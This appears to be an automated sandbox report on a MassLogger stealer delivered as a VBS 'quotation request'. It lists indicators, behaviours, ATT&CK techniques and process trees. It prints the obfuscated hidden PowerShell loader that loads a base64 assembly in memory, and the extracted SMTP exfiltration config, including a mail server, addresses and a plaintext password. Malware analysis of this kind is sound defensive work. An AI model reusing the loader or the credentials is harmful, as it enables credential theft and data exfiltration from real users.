masslogger | b46376ee5d371a3c6d410742e112cbef44bc0d5bb6b21b3921daf62ab884852c

Analysis

max time kernel
149s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/09/2026, 17:16

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General

Target
PEDIDO DE COTIZACIÓN 0099821.vbs
Size 38.3MB
Sample260914-vta15sstbv
SHA256 b46376ee5d371a3c6d410742e112cbef44bc0d5bb6b21b3921daf62ab884852c
MD5 a876b3c6805f68191e094e78e7f43973
SHA1 f92d0908a6c7bd9d05a80604e9d248f30d1acce4
SHA512 8296e71463f6853686a75e2f878a62bf8c60daef25bbf90bbce0b6318803bf1adae7d86cb8c6b0866f940908352a0d8d4410c9d6008f9c1d4bae65e600ec159a
SSDEEP 384:Yg+iKHTjJJfZGThL7/j+jiJP8jooIOYaINrjKj+C1N8s8zTWrmEXwcE8Ka8jH68R:bkPdWSu
TLSH
T1B8975C3913EE7F3AE0FE4076D0A848E199528910FCAC485C7FCA6C45829622656DDFFD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution masslogger persistence spyware stealer

Malware Config

Extracted

Family

masslogger

Attributes

exfiltration_mode
#SMTPEnabled
expire_time_date
00-00-0000
host_password
VENTAS2adsgroup
host_port
25
host_receiver
[email protected]
host_sender
[email protected]
host_server
mail.adsgroupsac.com
ssl_slate
False

Signatures

Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
stealer spyware masslogger

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4768	1016	powershell.exe	87

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4768	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4768	powershell.exe
3692	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	checkip.dyndns.org
1	reallyfreegeoip.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4364	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4768 set thread context of 5708	4768	powershell.exe	97

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6080	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Caspol.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4768	powershell.exe
3692	powershell.exe
4768	powershell.exe
3692	powershell.exe
4768	powershell.exe
4768	powershell.exe
5708	Caspol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4768	powershell.exe
Token: SeDebugPrivilege	3692	powershell.exe
Token: SeDebugPrivilege	5708	Caspol.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4364 wrote to memory of 3692	4364	WScript.exe	90
PID 4768 wrote to memory of 6080	4768	powershell.exe	92
PID 4768 wrote to memory of 4960	4768	powershell.exe	96
PID 4768 wrote to memory of 5708	4768	powershell.exe	97
PID 4768 wrote to memory of 5708	4768	powershell.exe	97
PID 4768 wrote to memory of 5708	4768	powershell.exe	97
PID 4768 wrote to memory of 5708	4768	powershell.exe	97
PID 4768 wrote to memory of 5708	4768	powershell.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Caspol.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PEDIDO DE COTIZACIÓN 0099821.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$cynomorium=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$illuminism=[Convert]::FromBase64String($cynomorium);[AppDomain]::CurrentDomain.Load($illuminism)|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('guvB4LzzRRX/zsLOZ6TXt8f2fohpNkFuQjm8jjN8/y5YaBJg65MnaWzwPUJgxr6vGrOezFqCOIwF7r/5CGVKG9zgcJmo5e6c9LFI4FcbCW4=','uq4r+kRWIgfMib3+rDbC4n87o6cPk0aEbBQefRW+Tno=','TyCnMlYFxmBjffri2Ay/S+Vofs6+pBo9OEDztE+LBqs5w9Qv4r08thcJ1CVKO598','Znh+jPJDqXqoEXsQe/gfMWbJEK85hqTrS6aeiX/bKXQ=','4HQW8CCzALLoaIEl9jPnonTuNvoOHMtJP/bhrJQzjy4=','','VuyyKebffJUa1jhrmu/DSirKnnv9IVD6YBKRh3EKfK8=','wE76Dp9vHMN1d/HEyp4YuV4WoJ6sPtETasd//t1EJdw=','F9UOTswVbi905woCTOKp0/8JlMZaccmQgcj3+iLdzHA=','Q1nWARbRzAA+XxENpUBDeTULNYWonjaSWlv01WY8+ISc97lKtlxDWpa4r5TZlTqg','rQnXgCekCNcgSK4gSD72tQ7epD2HA5I7fWBTT3rZNRM=','smD+pzYdtC1HY0zxCWD7XdibEBuyrHALqXbu8nSlOlQ=','0DfYuBZsQpjjHLLpBiXzqcyIzrfxWf+q4VVuAc7iebg=','pKZ5CVJ0JGDkd/RIZQrFPXVUOMbirZW2lq4eDBocDzc=','h5BHQAWbCo6tAW8GR1QcgP298ReYi8h42BM2J9HStrk=','7ecGLv+TEUAaHt+DeKWZlpJ7dBJz/6w/WLm8nT8jXRI=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3692

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$cynomorium=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$illuminism=[Convert]::FromBase64String($cynomorium);[AppDomain]::CurrentDomain.Load($illuminism)|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('guvB4LzzRRX/zsLOZ6TXt8f2fohpNkFuQjm8jjN8/y5YaBJg65MnaWzwPUJgxr6vGrOezFqCOIwF7r/5CGVKG9zgcJmo5e6c9LFI4FcbCW4=','uq4r+kRWIgfMib3+rDbC4n87o6cPk0aEbBQefRW+Tno=','TyCnMlYFxmBjffri2Ay/S+Vofs6+pBo9OEDztE+LBqs5w9Qv4r08thcJ1CVKO598','Znh+jPJDqXqoEXsQe/gfMWbJEK85hqTrS6aeiX/bKXQ=','4HQW8CCzALLoaIEl9jPnonTuNvoOHMtJP/bhrJQzjy4=','','VuyyKebffJUa1jhrmu/DSirKnnv9IVD6YBKRh3EKfK8=','wE76Dp9vHMN1d/HEyp4YuV4WoJ6sPtETasd//t1EJdw=','F9UOTswVbi905woCTOKp0/8JlMZaccmQgcj3+iLdzHA=','Q1nWARbRzAA+XxENpUBDeTULNYWonjaSWlv01WY8+ISc97lKtlxDWpa4r5TZlTqg','rQnXgCekCNcgSK4gSD72tQ7epD2HA5I7fWBTT3rZNRM=','smD+pzYdtC1HY0zxCWD7XdibEBuyrHALqXbu8nSlOlQ=','0DfYuBZsQpjjHLLpBiXzqcyIzrfxWf+q4VVuAc7iebg=','pKZ5CVJ0JGDkd/RIZQrFPXVUOMbirZW2lq4eDBocDzc=','h5BHQAWbCo6tAW8GR1QcgP298ReYi8h42BM2J9HStrk=','7ecGLv+TEUAaHt+DeKWZlpJ7dBJz/6w/WLm8nT8jXRI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\Users\Public\SjcVvQpgVe.vbs"
  2⤵
  - Executes a command shell one-liner
  PID:6080
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  PID:4960
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:5708

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:3624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

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memory/3692-20-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-29-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-28-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-25-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-24-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-23-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-22-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-19-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/3692-21-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-12-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-6-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-17-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-18-0x000002992ADC0000-0x000002992ADCA000-memory.dmp

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memory/4768-16-0x000002992ACF0000-0x000002992ADC2000-memory.dmp

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memory/4768-14-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-13-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-0-0x00007FF89FD7F000-0x00007FF89FD80000-memory.dmp

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memory/4768-9-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-8-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-7-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-15-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-5-0x0000029945750000-0x0000029945772000-memory.dmp

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memory/4768-2-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-30-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-34-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/4768-1-0x00007FF89FBF0000-0x00007FF8A0594000-memory.dmp

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memory/5708-31-0x0000000000400000-0x000000000041E000-memory.dmp

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memory/5708-35-0x00000000068B0000-0x0000000006E6A000-memory.dmp

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memory/5708-36-0x0000000006390000-0x000000000642C000-memory.dmp

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memory/5708-37-0x0000000007500000-0x0000000007550000-memory.dmp

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memory/5708-38-0x0000000007820000-0x00000000079E2000-memory.dmp

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memory/5708-39-0x00000000076F0000-0x0000000007782000-memory.dmp

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memory/5708-40-0x00000000074F0000-0x00000000074FA000-memory.dmp

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